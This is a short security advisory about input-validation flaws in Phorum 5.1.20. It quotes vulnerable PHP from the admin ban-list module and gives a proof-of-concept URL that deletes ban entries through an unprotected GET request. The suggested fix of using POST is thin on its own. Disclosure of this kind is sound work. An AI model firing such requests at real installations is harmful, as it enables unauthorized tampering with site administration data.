source: http://www.securityfocus.com/bid/23616/info
    
Phorum is prone to multiple input-validation vulnerabilities, including an unauthorized-access issue, privilege-escalation issue, multiple SQL-injection issues, and cross-site scripting issues, because the application fails to sufficiently sanitize user-supplied input.
    
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify sensitive data, or exploit latent vulnerabilities in the underlying database implementation.
    
Phorum 5.1.20 is affected; prior versions may also be vulnerable.
 
> From source: "include/admin/banlist.php" line 47:
--------------------------------------------------
    if(isset($_GET["curr"])){
        if(isset($_GET["delete"])){
            phorum_db_del_banitem($_GET['curr']);
            echo "Ban Item Deleted<br />";
        } else {
            $curr = $_GET["curr"];
        }
    }
--------------------------------------------------
PoC:
http://localhost/phorum.5.1.20/admin.php?module=banlist&curr=9&delete=1

... and banlist entry will be deleted easily.

Solution: use POST method